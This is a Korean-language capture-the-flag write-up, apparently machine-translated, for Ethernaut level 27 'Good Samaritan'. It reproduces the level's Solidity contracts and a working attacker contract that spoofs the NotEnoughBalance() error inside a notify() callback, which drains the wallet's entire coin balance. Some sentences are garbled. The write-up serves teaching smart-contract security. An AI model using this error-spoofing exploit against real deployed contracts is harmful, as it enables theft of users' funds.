Ethernaut 27: 선한 사마리아인

Play the level

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}


선한 사마리아인 계약의 동전을 고갈하라는 요청을 받았습니다. 선한 사마리아인이 되는 이유는 무엇입니까? 글쎄요, 그것은 수 톤의 동전을 가지고 있고 그것을 기부할 의향이 있습니다. 하지만 한 번에 10개만. 계약의 100만 코인을 모두 소진하려면 한 번에 10개 이상을 가져와야 합니다.

고맙게도 이 수준의 작성자는 문자 그대로 댓글에서 requestDonation 기능 아래에 다음과 같은 단서를 제공했습니다. 이 함수를 보면 send the coins left 중에 발생한 예외를 처리하는 try-catch 절입니다. 특히 오류wallet.donate10(msg.sender)로 인해 예외가 발생한 경우 나머지 코인을 모두 보냅니다.
NotEnoughBalance();는 어떻게 예외를 발생시킬 수 있습니까? 분명히 균형이 충분하지 않은 경우에만 던집니다donate10. 그러나 함수 호출이 끝나는 곳이 아니라 NotEnoughBalance(); 로 이동합니다.
coin.transfer에서 우리는 마침내 우리의 끝을 건드리는 무언가를 봅니다. 전송이 발생하고 그것이 계약 계정에 대한 것이라면 기본적으로 해당 계약에 이 전송에 대해 알리기 위해 coin.transfer 함수가 호출됩니다.

이러한 것을 후크라고 하며 후크 기능을 지원하는 경우 계약이 이벤트 전/후/동안 코드를 실행할 수 있습니다. OpenZeppelin docs에서도 자세한 내용을 확인할 수 있습니다.

돌이켜보면 전송 중에 notify(uint256 amount)를 던져야 하며 NotEnoughBalance(); 핸들러 내에서 그렇게 할 수 있습니다. 하지만 문제가 있습니다. 단순히 그렇게 하면 notify 호출도 되돌려집니다. 따라서 transferRemainder가 10인지 확인하고 이 경우에만 되돌릴 수 있습니다. 결과 공격자 계약은 다음과 같습니다.

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

// interface to call target function
interface IGoodSamaritan {
  function requestDonation() external returns (bool enoughBalance);
} 

contract Attack {  
  // error signature will be taken from here
  error NotEnoughBalance();

  // entry point for our attack, simply requests a donation
  function pwn(address _addr) external { 
     IGoodSamaritan(_addr).requestDonation();
  }

  // notify is called when this contract receives coins
  function notify(uint256 amount) external pure {
    // only revert on 10 coins
    if (amount == 10) {
        revert NotEnoughBalance();
    } 
  }
}


이것을 배포하고 대상 계약의 주소로 실행amount하면 모든 코인이 고갈됩니다!

좋은 웹페이지 즐겨찾기